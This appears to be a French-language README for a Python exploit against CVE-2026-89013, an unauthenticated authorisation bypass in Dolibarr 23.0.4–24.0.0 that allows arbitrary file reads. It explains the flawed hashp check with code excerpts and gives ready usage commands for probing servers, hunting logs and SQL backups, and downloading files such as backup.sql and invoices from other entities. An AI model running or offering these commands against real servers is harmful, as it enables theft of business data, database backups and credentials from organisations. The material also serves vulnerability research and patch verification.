
Exploit Python pour CVE-2026-89013, un contournement d'autorisation non authentifié de Dolibarr hashp permettant la lecture arbitraire de fichiers, avec les modes check, list, hunt, read et download.
Exploit pour CVE-2026-89013 : document.php et viewimage.php forcent NOLOGIN lorsque
le paramètre hashp est présent. La valeur de marqueur interne shared ignore
la résolution du jeton de partage, mais la dérogation de contrôle d'accès se déclenche toujours pour toute
valeur non vide et définit $accessallowed = 1, en écartant le résultat de
dol_check_secure_access_document(). Une requête non authentifiée peut donc
lire n'importe quel fichier dans chaque arborescence modulepart : documents métier, journaux d'administration, sauvegardes
SQL (modulepart=systemtools), sources de modules personnalisés (modulepart=packages),
et autres entités multicompany via .
&entity=NEnregistrement : https://www.cve.org/CVERecord?id=CVE-2026-89013
| Affecté | Dolibarr 23.0.4 – 24.0.0 |
| Corrigé | 24.0.1 |
| Prérequis | aucun (non authentifié) |
| Impact | lecture arbitraire de fichiers dans les répertoires gérés de Dolibarr |
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
Une régression du commit 5028dae981e (2026-08-12), livrée pour la première fois dans 23.0.4 et
24.0.0. La traversée (../) est assainie côté serveur — il s'agit d'un contournement
d'autorisation, pas d'une traversée de chemin.
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
Bibliothèque standard uniquement (Python 3.8+). Prend en charge --proxy, --insecure, --timeout.

Pour les tests et la recherche autorisés uniquement. À utiliser uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.